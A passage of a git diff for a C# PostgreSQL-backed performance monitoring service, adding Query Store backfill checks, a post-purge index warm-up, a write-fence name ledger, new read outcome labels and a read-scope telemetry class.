+                        _goneReported.TryRemove((serverId, candidate), out _);
+                    }
+                }
+
+                var gone = new HashSet<string>(StringComparer.Ordinal);
+                foreach (var database in absent)
+                {
+                    using var newer = new NpgsqlCommand(QueryStoreBackfillState.RowAtOrAfterSnapshotSql, connection);
+                    newer.CommandTimeout = ServiceCommandDeadlines.QueryStoreBackfillReadSeconds;
+                    newer.Parameters.AddWithValue(serverId);
+                    newer.Parameters.AddWithValue(database);
+                    newer.Parameters.AddWithValue(snapshotTime);
+                    if (await newer.ExecuteScalarAsync(cancellationToken) is null)
+                    {
+                        gone.Add(database);
+                        if (_goneReported.TryAdd((serverId, database), 0))
+                        {
+                            _sliceFailures.RecordCompletion(serverId, database);
+                            _readFailures.RecordSuccess(serverId, database);
+                            /* "Not in the newest list", not "gone from the server": the snapshot is stamped at the
+                               start of its run, and a database created between the stamp and the read, whose first
+                               query_store rows carry an earlier stamp, is skipped for one snapshot cycle. It has no
+                               history to backfill yet, so nothing is lost. */
+                            _logger?.LogInformation(
+                                "query_store backfill on '{Server}' [{Database}]: not in the newest database_states snapshot and no stored row since; not backfilling it until a snapshot lists it.",
+                                serverLabel ?? serverId.ToString(CultureInfo.InvariantCulture), database);
+                        }
+                    }
+                    else
+                    {
+                        _goneReported.TryRemove((serverId, database), out _);
+                    }
+                }
+
+                if (gone.Count > 0)
+                {
+                    result = candidates.FindAll(database => !gone.Contains(database));
+                }
+            }
+
+            _goneCheckFailures.RecordSuccess(serverId);
+            return result;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* A failed check keeps every candidate, so a persistent failure brings the original bug back with nothing
+               saying so. One Warning at the first failure of a run; the repeats stay at Debug. */
+            if (_goneCheckFailures.RecordFailure(serverId))
+            {
+                _logger?.LogWarning(
+                    ex,
+                    "query_store backfill on '{Server}': checking which databases are gone failed, so every candidate is tried until a check succeeds. Further failures are logged at debug level.",
+                    serverLabel ?? serverId.ToString(CultureInfo.InvariantCulture));
+            }
+            else
+            {
+                _logger?.LogDebug(ex, "query_store backfill gone-database check failed; keeping every candidate this tick");
+            }
+
+            return candidates;
+        }
+    }
+
     /// <summary>The derived backfill ceiling for one database, the mirror of the runner's MAX()
     /// watermark reads. Null (no rows / failure) skips the database this tick; failure never invents
     /// a boundary.
diff --git a/Darling/PerformanceMonitor.Darling.Service/QueryStoreIntervalFloorWarmUp.cs b/Darling/PerformanceMonitor.Darling.Service/QueryStoreIntervalFloorWarmUp.cs
new file mode 100644
index 0000000000..30890c329c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/QueryStoreIntervalFloorWarmUp.cs
@@ -0,0 +1,259 @@
+// Copyright (c) 2026 Erik Darling, Darling Data LLC
+//
+// This file is part of the SQL Server Performance Monitor.
+//
+// Licensed under the MIT License. See LICENSE file in the project root for full license information.
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>Which interval table a floor warm-up reads (#5581).</summary>
+public enum IntervalFloorTable
+{
+    /// <summary><c>collect.query_store_interval_wide</c>, read by <see cref="QueryStoreIntervalWide.PlainTableFloorSql"/>.</summary>
+    Wide,
+
+    /// <summary><c>collect.query_store_interval_latest</c>, read by <see cref="QueryStoreIntervalLatest.PlainTableFloorSql"/>.</summary>
+    Latest,
+}
+
+/// <summary>What one table's warm-up did, for the log line and for the tests (#5581).</summary>
+internal sealed record IntervalFloorWarmUpResult(
+    IntervalFloorTable Table,
+    int ServersWarmed,
+    int ServersSkippedOnLock,
+    int ServersFailed,
+    TimeSpan Elapsed,
+    int? SlowestServerId,
+    TimeSpan SlowestElapsed,
+    bool Cancelled);
+
+/// <summary>
+/// #5581: after a retention drain removed rows from an interval table, runs the read gate's own floor read once
+/// per server, so the first real Query Store read after the drain does not pay for the walk.
+///
+/// <para><b>Why.</b> The gate's floor read (<c>MIN(first_execution_time) WHERE server_id = $1</c>) walks the
+/// (server_id, first_execution_time) index from the oldest entry. The drain just deleted the oldest rows of every
+/// server, and until vacuum removes their index entries, or a read marks them dead, each one costs a heap fetch
+/// to find out the row is gone: on a large store 19.6 s and 854,535 heap fetches for one server, against 1.8 s
+/// before the drain. The first walk marks the dead entries (the index scan's kill-prior-tuple hint), so the
+/// next read took 15 ms. This pays that first walk in the background, at the end of the retention pass,
+/// instead of on someone's first read. Autovacuum stays in charge of reclaiming space.</para>
+///
+/// <para><b>Same statement, same plan.</b> It executes the shipped <c>PlainTableFloorSql</c> constants by
+/// reference, never a copy, so it walks the index the gate walks. <c>FloorSql</c> is the only place that
+/// chooses between them, and a source pin fails if this file runs anything else against an interval table.</para>
+///
+/// <para><b>Cost when nothing is dead.</b> Each read is then one index probe (milliseconds), which is why there
+/// is no size threshold: the caller gates on "the purge deleted any row or failed" (<see cref="LeftDeadEntries"/>),
+/// and a no-op warm-up is cheap.</para>
+///
+/// <para><b>Partitioned tables (#5573).</b> Both interval tables are partitioned by day, so the floor read on the
+/// parent is a MIN over each partition's (server_id, first_execution_time) index. Only the legacy table and the
+/// DEFAULT partition are ever row-deleted; a whole expired day is dropped with its indexes. So the dead entries the
+/// read walks past are in those two, and a pass that only dropped partitions leaves none.</para>
+///
+/// <para><b>The limit.</b> PostgreSQL marks an index entry dead only when its row is dead to every open
+/// snapshot. A transaction that was open before the drain finished keeps the entries live, so the warm-up pays
+/// the walk and the next read pays it again. The warm-up cannot see or end such a transaction.</para>
+///
+/// <para><b>Where it runs.</b> At the end of <see cref="DarlingRetention.PurgeWithPacerAsync"/>, which both of its
+/// callers run in the background <c>_purgeTask</c> slot, never on the collection loop: the daily purge
+/// (<c>TryStartScheduledPurge</c> in <c>DarlingWorker</c>, fire-and-track) and <c>purge_now</c>
+/// (<c>RunPurgeNowBackgroundAsync</c>). A pass over many servers on a large store can take about ten minutes (43 servers,
+/// 645 s measured), so the slot stays occupied that long; one connection, one server at a time, no parallel reads.</para>
+///
+/// <para><b>Isolation.</b> One server at a time, each on its own connection with a short <c>lock_timeout</c>:
+/// the read takes only ACCESS SHARE, so a lock timeout means an ACCESS EXCLUSIVE request is queued (a schema
+/// upgrade step, a partition step), and the server is skipped and logged rather than queued behind it, which
+/// would stall every collector write behind that request. A timeout, a cancel or a failure is logged and never
+/// counts as a failed purge.</para>
+/// </summary>
+internal static class QueryStoreIntervalFloorWarmUp
+{
+    /// <summary>
+    /// The client-side command timeout for one server's floor read, in seconds. The slowest first read measured
+    /// after a drain on a large store was 38.9 s (19.6 s on the first store looked at), so this is about 7x that. A
+    /// read that still passes it is logged and skipped, but it has already marked the dead entries it walked past,
+    /// so the next pass's warm-up (or the read itself) continues from there rather than from the start.
+    /// </summary>
+    internal const int FloorReadTimeoutSeconds = 300;
+
+    /// <summary>The server-side <c>lock_timeout</c> for the warm-up's connection, in milliseconds.</summary>
+    internal const int LockTimeoutMilliseconds = 3000;
+
+    /// <summary>The registry read: every registered server's id, newest registrations included. Tiny.</summary>
+    private const string ServerIdsSql = "SELECT server_id FROM collect.servers ORDER BY server_id";
+
+    /// <summary>PostgreSQL's <c>lock_not_available</c> SQLSTATE, what <c>lock_timeout</c> raises.</summary>
+    private const string LockNotAvailable = "55P03";
+
+    /// <summary>The shipped floor read for <paramref name="table"/>; never a copy.</summary>
+    internal static string FloorSql(IntervalFloorTable table) => table switch
+    {
+        IntervalFloorTable.Wide => QueryStoreIntervalWide.PlainTableFloorSql,
+        IntervalFloorTable.Latest => QueryStoreIntervalLatest.PlainTableFloorSql,
+        _ => throw new ArgumentOutOfRangeException(nameof(table), table, null),
+    };
+
+    /// <summary>
+    /// The retention pass's entry: warms each table whose interval purge may have left dead index entries.
+    /// <paramref name="wide"/> and <paramref name="latest"/> are <see cref="DarlingRetention.PurgeIntervalTableAsync"/>'s
+    /// results for the two day-partitioned tables (#5573). See <see cref="LeftDeadEntries"/> for which results warm.
+    /// Never throws.
+    /// </summary>
+    internal static async Task RunAfterDrainAsync(
+        NpgsqlDataSource postgres,
+        DarlingRetention.IntervalPartitionPurge wide,
+        DarlingRetention.IntervalPartitionPurge latest,
+        ILogger? logger,
+        CancellationToken cancellationToken)
+    {
+        try
+        {
+            if (LeftDeadEntries(wide))
+            {
+                await WarmAsync(postgres, IntervalFloorTable.Wide, logger, cancellationToken);
+            }
+
+            if (LeftDeadEntries(latest))
+            {
+                await WarmAsync(postgres, IntervalFloorTable.Latest, logger, cancellationToken);
+            }
+        }
+        catch (Exception ex)
+        {
+            /* WarmAsync isolates its own faults; this is the belt for anything it did not foresee. A warm-up is
+               an optimisation: it must not fail, or even disturb, the purge that already finished. */
+            logger?.LogWarning("Interval floor warm-up stopped: {Failure}", ex.Message);
+        }
+    }
+
+    /// <summary>
+    /// Whether one table's interval purge may have left dead index entries (#5573, #5581): it deleted rows, or a part
+    /// of it failed (a part that failed may have committed batches before it did). The dead entries live in the legacy
+    /// table and the DEFAULT partition, the only places rows are deleted one by one. A pass that only dropped whole
+    /// day partitions deleted no row and failed nothing: a dropped partition takes its indexes with it, so there is
+    /// nothing to walk past and nothing to warm.
+    /// </summary>
+    internal static bool LeftDeadEntries(DarlingRetention.IntervalPartitionPurge purge) =>
+        purge.RowsDeleted > 0 || purge.Failed > 0;
+
+    /// <summary>
+    /// Runs <paramref name="table"/>'s floor read once per registered server, one at a time. Logs one line for
+    /// the table. Never throws: a cancel stops the table and is reported in the result.
+    /// </summary>
+    internal static async Task<IntervalFloorWarmUpResult> WarmAsync(
+        NpgsqlDataSource postgres, IntervalFloorTable table, ILogger? logger, CancellationToken cancellationToken,
+        int lockTimeoutMilliseconds = LockTimeoutMilliseconds, int commandTimeoutSeconds = FloorReadTimeoutSeconds)
+    {
+        var sql = FloorSql(table);
+        var tableName = table.ToString().ToLowerInvariant();
+        var total = Stopwatch.StartNew();
+        var warmed = 0;
+        var skippedOnLock = 0;
+        var failed = 0;
+        int? slowestServer = null;
+        var slowest = TimeSpan.Zero;
+        var cancelled = false;
+
+        List<int> serverIds;
+        try
+        {
+            serverIds = await ReadServerIdsAsync(postgres, cancellationToken);
+        }
+        catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+        {
+            logger?.LogInformation("Interval floor warm-up for {Table} cancelled before it read the server list", tableName);
+            return new IntervalFloorWarmUpResult(table, 0, 0, 0, total.Elapsed, null, TimeSpan.Zero, true);
+        }
+        catch (Exception ex)
+        {
+            logger?.LogWarning("Interval floor warm-up for {Table} could not read the server list: {Failure}", tableName, ex.Message);
+            return new IntervalFloorWarmUpResult(table, 0, 0, 1, total.Elapsed, null, TimeSpan.Zero, false);
+        }
+
+        foreach (var serverId in serverIds)
+        {
+            var one = Stopwatch.StartNew();
+            try
+            {
+                /* Its own connection per server, so a read that timed out (which breaks the connection) cannot
+                   poison the next server's. lock_timeout is a session setting: it never touches a pooled
+                   connection's next user, because the connection is reset on return to the pool (Npgsql sends
+                   DISCARD ALL), and this one is also set explicitly before every read. */
+                await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+                await using (var setLock = new NpgsqlCommand(
+                    "SET lock_timeout = " + lockTimeoutMilliseconds.ToString(CultureInfo.InvariantCulture), connection))
+                {
+                    await setLock.ExecuteNonQueryAsync(cancellationToken);
+                }
+
+                await using var read = new NpgsqlCommand(sql, connection) { CommandTimeout = commandTimeoutSeconds };
+                read.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+                await read.ExecuteScalarAsync(cancellationToken);
+                warmed++;
+            }
+            catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+            {
+                cancelled = true;
+                logger?.LogInformation(
+                    "Interval floor warm-up for {Table} cancelled at server {ServerId}; {Warmed} server(s) done",
+                    tableName, serverId, warmed);
+                break;
+            }
+            catch (PostgresException ex) when (ex.SqlState == LockNotAvailable)
+            {
+                skippedOnLock++;
+                logger?.LogWarning(
+                    "Interval floor warm-up for {Table} skipped server {ServerId}: the table is locked ({LockMs} ms lock timeout), probably a schema or partition step",
+                    tableName, serverId, lockTimeoutMilliseconds);
+            }
+            catch (Exception ex)
+            {
+                failed++;
+                logger?.LogWarning(
+                    "Interval floor warm-up for {Table} failed for server {ServerId}: {Failure}",
+                    tableName, serverId, ex.InnerException?.Message ?? ex.Message);
+            }
+
+            if (one.Elapsed > slowest)
+            {
+                slowest = one.Elapsed;
+                slowestServer = serverId;
+            }
+        }
+
+        var result = new IntervalFloorWarmUpResult(
+            table, warmed, skippedOnLock, failed, total.Elapsed, slowestServer, slowest, cancelled);
+        logger?.LogInformation(
+            "Interval floor warm-up for {Table}: {Warmed} server(s) warmed, {Skipped} skipped on a lock, {Failed} failed, {ElapsedMs} ms total, slowest server {SlowestServer} at {SlowestMs} ms",
+            tableName, warmed, skippedOnLock, failed, (long)total.Elapsed.TotalMilliseconds,
+            slowestServer?.ToString(CultureInfo.InvariantCulture) ?? "none", (long)slowest.TotalMilliseconds);
+        return result;
+    }
+
+    private static async Task<List<int>> ReadServerIdsAsync(NpgsqlDataSource postgres, CancellationToken cancellationToken)
+    {
+        var ids = new List<int>();
+        await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+        await using var command = new NpgsqlCommand(ServerIdsSql, connection);
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            ids.Add(reader.GetInt32(0));
+        }
+
+        return ids;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/QueryStoreWriteFence.cs b/Darling/PerformanceMonitor.Darling.Service/QueryStoreWriteFence.cs
index 9d7bdfc0c0..46365c53b4 100644
--- a/Darling/PerformanceMonitor.Darling.Service/QueryStoreWriteFence.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/QueryStoreWriteFence.cs
@@ -24,16 +24,47 @@ namespace PerformanceMonitor.Darling.Service;
 /// landed": the server stays non-quiet, so nothing is reused or stored, until a clean write proves the table
 /// state is known again. A success clears the poison only when it began with no write in flight, no failure ended
 /// during its span, and nothing else is still in flight when it ends; anything less keeps the server poisoned.
+/// This leans on one assumption: a commit that faulted on the client does not become visible minutes after a later clean
+/// write cleared the poison. The candidate-list cache (#5518) shares it and, past it, is bounded by its age limit.
 /// </summary>
 public sealed class QueryStoreWriteFence
 {
     private readonly object _gate = new();
     private readonly Dictionary<int, (long Generation, int InFlight, bool Poisoned, bool CleanSpan)> _state = new();
 
-    public void BeginWrite(int serverId)
+    /* #5518: the database names each server's batches have named, with the sequence number of the latest one. A
+       reader that caches a list of names (QueryStoreBackfill's per-tick candidate list) asks whether any name
+       outside the list was written since it read. The sequence is one counter for the whole fence, so a snapshot
+       of it orders against every server's writes. One entry per distinct (server, database) name; ForgetServer drops a
+       removed server's. */
+    private readonly Dictionary<int, Dictionary<string, long>> _writtenNames = new();
+    private long _nameSequence;
+
+    /// <param name="serverId">The server the write targets.</param>
+    /// <param name="databases">The database names the batch writes (#5518), recorded BEFORE the transaction opens,
+    /// like the generation, so a name is visible to a reader the moment its write is in flight, and a write that
+    /// then fails is recorded as well. Null or empty for a caller with no names to give.</param>
+    public void BeginWrite(int serverId, IReadOnlyCollection<string>? databases = null)
     {
         lock (_gate)
         {
+            if (databases is { Count: > 0 })
+            {
+                if (!_writtenNames.TryGetValue(serverId, out var names))
+                {
+                    names = new Dictionary<string, long>(StringComparer.Ordinal);
+                    _writtenNames[serverId] = names;
+                }
+
+                foreach (var database in databases)
+                {
+                    if (database is not null)
+                    {
+                        names[database] = ++_nameSequence;
+                    }
+                }
+            }
+
             var s = _state.GetValueOrDefault(serverId);
             /* A write that starts with nothing in flight opens a fresh clean span; an overlapping one inherits it. */
             _state[serverId] = (s.Generation + 1, s.InFlight + 1, s.Poisoned, s.InFlight == 0 || s.CleanSpan);
@@ -60,6 +91,52 @@ public void EndWrite(int serverId, bool succeeded)
         }
     }
 
+    /// <summary>#5518: drops a removed server's recorded database names, so the ledger holds nothing for a server that
+    /// no longer exists. The write state is a handful of numbers per server id and is left alone.</summary>
+    public void ForgetServer(int serverId)
+    {
+        lock (_gate)
+        {
+            _writtenNames.Remove(serverId);
+        }
+    }
+
+    /// <summary>#5518: the name sequence now, and whether no write is in flight and none ended ambiguously. A reader
+    /// that caches a list of names takes this BEFORE it reads and stores the list only when Quiet: a write already in
+    /// flight may commit after the read and its name sits at a sequence the reader would never look at.</summary>
+    public (long Sequence, bool Quiet) NameSnapshot(int serverId)
+    {
+        lock (_gate)
+        {
+            var s = _state.GetValueOrDefault(serverId);
+            return (_nameSequence, s.InFlight == 0 && !s.Poisoned);
+        }
+    }
+
+    /// <summary>#5518: true when a batch named a database that is NOT in <paramref name="known"/> after
+    /// <paramref name="sinceSequence"/> (a <see cref="NameSnapshot"/>'s). A name that is in the set does not change a
+    /// list of names, however many rows it writes; an unknown one may be a database the list is missing.</summary>
+    public bool WroteUnknownNameSince(int serverId, long sinceSequence, IReadOnlySet<string> known)
+    {
+        lock (_gate)
+        {
+            if (!_writtenNames.TryGetValue(serverId, out var names))
+            {
+                return false;
+            }
+
+            foreach (var (name, sequence) in names)
+            {
+                if (sequence > sinceSequence && !known.Contains(name))
+                {
+                    return true;
+                }
+            }
+
+            return false;
+        }
+    }
+
     /// <summary>The server's generation, and whether no write is in flight and none ended ambiguously.</summary>
     public (long Generation, bool Quiet) Snapshot(int serverId)
     {
diff --git a/Darling/PerformanceMonitor.Darling.Service/ReadLatencyAccumulator.cs b/Darling/PerformanceMonitor.Darling.Service/ReadLatencyAccumulator.cs
index adf0ed4dbd..45bb6ee544 100644
--- a/Darling/PerformanceMonitor.Darling.Service/ReadLatencyAccumulator.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/ReadLatencyAccumulator.cs
@@ -20,7 +20,7 @@ namespace PerformanceMonitor.Darling.Service;
 /// <summary>Which side of the process answered a read (#4442 scope 2). <c>Web</c> is the <c>/api/read/*</c>
 /// dispatch loop, <c>Compose</c> is the one runner behind both the web composer and the MCP custom-view tool
 /// (recorded ONCE there, so an MCP custom-view call is not double-counted as both <c>Compose</c> and
-/// <c>Mcp</c>), and <c>Mcp</c> is reserved for the later per-tool wrapper — nothing records it yet.</summary>
+/// <c>Mcp</c>), and <c>Mcp</c> is every MCP tool call, recorded by <see cref="Mcp.McpToolLatencyFilter"/>.</summary>
 public enum ReadSurface
 {
     Web,
@@ -31,7 +31,11 @@ public enum ReadSurface
 /// <summary>How a read finished (#4442 scope 2), read by <see cref="ReadOutcomeClassifier"/>. <c>Ok</c> is
 /// success; <c>Timeout</c> is a caught 57014 whose message names the store's own statement_timeout;
 /// <c>Cancelled</c> is the caller's own token going away, or a 57014 this process cannot attribute to the
-/// store's timeout (a user cancel); <c>Limit</c> (#4605) is a caught 53400 <c>configuration_limit_exceeded</c>
+/// store's timeout (a user cancel); <c>FallbackRaw</c> (#5097) is a read whose interval-table path was chosen
+/// and then faulted, or whose hourly-edges route was skipped because the hour ledger did not yet cover the window
+/// (<see cref="ReadFallback.LedgerUncovered"/>, #4605), so it was answered from raw; <c>GateFailed</c> (#5097) is a read whose source decision
+/// (or the connection and transaction it needs) faulted, so it read raw without a decision — both are noted by
+/// the reader through <see cref="ReadScope"/> and only replace an otherwise-<c>Ok</c> outcome; <c>Limit</c> (#4605) is a caught 53400 <c>configuration_limit_exceeded</c>
 /// — the viewer/mcp role's <c>temp_file_limit</c> refusing a read's on-disk spill, a distinct "the store
 /// refused this on purpose" outcome from a wall-clock <c>Timeout</c>; <c>Error</c> is everything else.</summary>
 public enum ReadOutcome
@@ -41,6 +45,8 @@ public enum ReadOutcome
     Cancelled,
     Error,
     Limit,
+    FallbackRaw,
+    GateFailed,
 }
 
 /// <summary>
@@ -68,6 +74,21 @@ public enum ReadOutcome
 /// </summary>
 public sealed class ReadLatencyAccumulator
 {
+    /// <summary>The stored <c>outcome</c> text for a <see cref="ReadOutcome"/>: an explicit closed set, so
+    /// the two-word members spell <c>fallback_raw</c> / <c>gate_failed</c> and a member added without a
+    /// label throws instead of writing a guess.</summary>
+    internal static string OutcomeLabel(ReadOutcome outcome) => outcome switch
+    {
+        ReadOutcome.Ok => "ok",
+        ReadOutcome.Timeout => "timeout",
+        ReadOutcome.Cancelled => "cancelled",
+        ReadOutcome.Error => "error",
+        ReadOutcome.Limit => "limit",
+        ReadOutcome.FallbackRaw => "fallback_raw",
+        ReadOutcome.GateFailed => "gate_failed",
+        _ => throw new ArgumentOutOfRangeException(nameof(outcome), outcome, "No stored label for this read outcome."),
+    };
+
     /// <summary>Log-scale bucket upper bounds in milliseconds, 10 ms to 120 s, plus an implicit final overflow
     /// bucket (anything above the last bound). ~24 finite bounds: fine enough near the floor (where "fast" and
     /// "fast enough" are a meaningful distinction) and coarse enough near the ceiling (where the only question
@@ -213,7 +234,7 @@ public async Task FlushAsync(NpgsqlConnection connection, DateTime metricTimeUtc
             insert.Parameters.AddWithValue(metricTimeUtc);
             insert.Parameters.AddWithValue(row.Surface.ToString().ToLowerInvariant());
             insert.Parameters.AddWithValue(row.Route);
-            insert.Parameters.AddWithValue(row.Outcome.ToString().ToLowerInvariant());
+            insert.Parameters.AddWithValue(OutcomeLabel(row.Outcome));
             insert.Parameters.AddWithValue((int)Math.Min(row.Count, int.MaxValue));
             insert.Parameters.AddWithValue(row.TotalMs);
             insert.Parameters.AddWithValue(row.MaxMs);
diff --git a/Darling/PerformanceMonitor.Darling.Service/ReadLatencyRecorder.cs b/Darling/PerformanceMonitor.Darling.Service/ReadLatencyRecorder.cs
index 4b645326e8..834393d25c 100644
--- a/Darling/PerformanceMonitor.Darling.Service/ReadLatencyRecorder.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/ReadLatencyRecorder.cs
@@ -26,14 +26,25 @@ namespace PerformanceMonitor.Darling.Service;
 public sealed class ReadLatencyRecorder
 {
     public ReadLatencyRecorder(ReadLatencyAccumulator? readLatency, ILogger? logger)
+        : this(readLatency, logger, null)
+    {
+    }
+
+    internal ReadLatencyRecorder(ReadLatencyAccumulator? readLatency, ILogger? logger, SlowReadLog? slowReads)
     {
         Accumulator = readLatency;
         Logger = logger;
+        SlowReads = slowReads;
     }
 
+    /// <summary>Where a slow or failed read is offered (#5097); null records none.</summary>
+    internal SlowReadLog? SlowReads { get; }
+
     /// <summary>Where a sample goes; null records nothing.</summary>
     internal ReadLatencyAccumulator? Accumulator { get; }
 
-    /// <summary>Where a recording failure is reported, at Debug; null reports nothing.</summary>
+    /// <summary>Where a recording failure is reported, at Debug; null reports nothing. The composed-panel runner
+    /// reports through it too, at the same level, a data-start probe it swallows (the panel is answered without
+    /// its notice).</summary>
     internal ILogger? Logger { get; }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/ReadScope.cs b/Darling/PerformanceMonitor.Darling.Service/ReadScope.cs
new file mode 100644
index 0000000000..c3ba809b82
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/ReadScope.cs
@@ -0,0 +1,287 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Threading;
+using Microsoft.Extensions.Logging;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>A silent read fallback a reader noted into the current <see cref="ReadScope"/> (#5097).</summary>
+internal enum ReadFallback
+{
+    /// <summary>The gate said the interval table serves, the table read faulted, and raw answered.</summary>
+    FallbackRaw,
+
+    /// <summary>The source decision itself (or the connection / transaction it needs) faulted, so raw answered
+    /// without a decision. Outranks <see cref="FallbackRaw"/> and <see cref="LedgerUncovered"/> when more than one was
+    /// noted in one call.</summary>
+    GateFailed,
+
+    /// <summary>The hourly-edges count guard found the hour ledger does not cover the window yet (#4605), so the
+    /// route was not taken and raw answered. An expected state, not a fault: it is noted with
+    /// <see cref="ReadScope.Note"/> (no log line) and shows as <c>fallback_raw</c> in <c>get_read_latency</c>. Ranks below
+    /// <see cref="GateFailed"/> and <see cref="FallbackRaw"/>, which are the bigger facts when noted in the same call.</summary>
+    LedgerUncovered,
+}
+
+/// <summary>
+/// The ambient scope one recorded read runs inside (#5097). A recorder (the MCP tool filter, the
+/// <c>/api/read/*</c> loop, the composed-panel runner) opens it around the read; a reader that quietly falls
+/// back to raw calls <see cref="NoteFallback"/>; the recorder then resolves the measured outcome through
+/// <see cref="Resolve"/> so an otherwise-<c>Ok</c> read is recorded as <c>fallback_raw</c> / <c>gate_failed</c>.
+/// The scope also carries the recorder's logger, so a fallback reaches the service log instead of a Trace
+/// listener the service never wires.
+///
+/// <para>The <see cref="AsyncLocal{T}"/> holds a mutable object, not a value: a child async method's
+/// assignment to an AsyncLocal never flows back to its caller, but a mutation of the object the caller placed
+/// there does. <see cref="Open"/> restores the previous scope on dispose, so nesting is safe (the inner scope
+/// wins while it is open).</para>
+/// </summary>
+internal sealed class ReadScope
+{
+    private static readonly AsyncLocal<ReadScope?> s_current = new();
+
+    private readonly object _gate = new();
+    private ReadFallback? _fallback;
+
+    /// <summary>The most statements one scope keeps; later ones are counted in <see cref="StatementsDropped"/>.</summary>
+    internal const int MaxStatements = 64;
+
+    /// <summary>The fixed vocabulary <see cref="NoteSource"/> accepts.</summary>
+    internal const string SourceRaw = "raw";
+    internal const string SourceIntervalTable = "interval_table";
+    internal const string SourceHourlyEdges = "hourly_edges";
+
+    private readonly ConcurrentQueue<StatementTiming> _statements = new();
+    private int _statementCount;
+    private int _statementsDropped;
+    private string? _source;
+    private string? _sourceReason;
+    private long _rows = -1;
+    private int _serverId = -1;
+
+    private ReadScope(ILogger? logger)
+    {
+        Logger = logger;
+        StartedUtc = DateTime.UtcNow;
+    }
+
+    /// <summary>When the scope opened.</summary>
+    internal DateTime StartedUtc { get; }
+
+    /// <summary>True when the recorder wants per-statement timings: the process-wide Npgsql listener samples
+    /// commands only inside a scope with this set.</summary>
+    internal bool CaptureStatements { get; set; }
+
+    /// <summary>Statements that arrived after the queue held <see cref="MaxStatements"/>.</summary>
+    internal int StatementsDropped => Volatile.Read(ref _statementsDropped);
+
+    /// <summary>The source a reader noted (<c>raw</c>, <c>interval_table</c>, <c>hourly_edges</c>), or null.</summary>
+    internal string? Source { get { lock (_gate) { return _source; } } }
+
+    /// <summary>The short reason noted with <see cref="Source"/>, or null.</summary>
+    internal string? SourceReason { get { lock (_gate) { return _sourceReason; } } }
+
+    /// <summary>The row count a reader noted, or null.</summary>
+    internal long? Rows { get { var r = Interlocked.Read(ref _rows); return r < 0 ? null : r; } }
+
+    /// <summary>The monitored server id the read resolved, or null for a store-wide or fleet read.</summary>
+    internal int? ServerId { get { var id = Volatile.Read(ref _serverId); return id < 0 ? null : id; } }
+
+    /// <summary>Notes the server a read resolved. Ignored outside a scope; the first one noted stays.</summary>
+    internal static void NoteServer(int serverId)
+    {
+        if (s_current.Value is { } scope && serverId >= 0)
+        {
+            Interlocked.CompareExchange(ref scope._serverId, serverId, -1);
+        }
+    }
+
+    /// <summary>Notes which source answered. Ignored outside a scope or for a name outside the fixed vocabulary.</summary>
+    internal static void NoteSource(string source, string? reason = null)
+    {
+        var scope = s_current.Value;
+        if (scope is null || (source != SourceRaw && source != SourceIntervalTable && source != SourceHourlyEdges))
+        {
+            return;
+        }
+
+        lock (scope._gate)
+        {
+            scope._source = source;
+            scope._sourceReason = reason is { Length: > 64 } ? reason[..64] : reason;
+        }
+    }
+
+    /// <summary>Notes the row count the read returned. Ignored outside a scope.</summary>
+    internal static void NoteRows(long n)
+    {
+        if (s_current.Value is { } scope)
+        {
+            Interlocked.Exchange(ref scope._rows, Math.Max(0, n));
+        }
+    }
+
+    /// <summary>Appends one statement timing; past <see cref="MaxStatements"/> it is only counted.</summary>
+    internal void AddStatement(string? sql, double durationMs, long? rows)
+    {
+        var ordinal = Interlocked.Increment(ref _statementCount);
+        if (ordinal > MaxStatements)
+        {
+            Interlocked.Increment(ref _statementsDropped);
+            return;
+        }
+
+        _statements.Enqueue(new StatementTiming(ordinal, StatementLabel.Label(sql), StatementLabel.Hash(sql), durationMs, rows));
+    }
+
+    /// <summary>Every statement the scope saw, including the ones past <see cref="MaxStatements"/> that were only counted.</summary>
+    internal int StatementTotal => Volatile.Read(ref _statementCount);
+
+    /// <summary>The captured statements in arrival order (for tests).</summary>
+    internal IReadOnlyList<StatementTiming> Snapshot() => _statements.ToArray();
+
+    /// <summary>The scope the calling async flow runs inside, or null outside any recorder.</summary>
+    internal static ReadScope? Current => s_current.Value;
+
+    /// <summary>The recorder's logger, or null.</summary>
+    internal ILogger? Logger { get; }
+
+    /// <summary>The strongest fallback noted so far (<see cref="ReadFallback.GateFailed"/> outranks
+    /// <see cref="ReadFallback.FallbackRaw"/>, which outranks <see cref="ReadFallback.LedgerUncovered"/>), or null.</summary>
+    internal ReadFallback? Fallback
+    {
+        get
+        {
+            lock (_gate)
+            {
+                return _fallback;
+            }
+        }
+    }
+
+    /// <summary>Opens a scope for the current async flow. Dispose restores the previous scope.</summary>
+    internal static Opened Open(ILogger? logger)
+    {
+        var previous = s_current.Value;
+        var scope = new ReadScope(logger);
+        s_current.Value = scope;
+        return new Opened(scope, previous);
+    }
+
+    /// <summary>Notes a fallback and logs it: a Warning through the scope's logger (the exception object, never
+    /// its message text), or, with no scope or no logger, the Trace line unscoped callers have always had.</summary>
+    internal static void NoteFallback(ReadFallback kind, string site, Exception? ex)
+    {
+        var scope = s_current.Value;
+        if (scope is not null)
+        {
+            lock (scope._gate)
+            {
+                scope.Keep(kind);
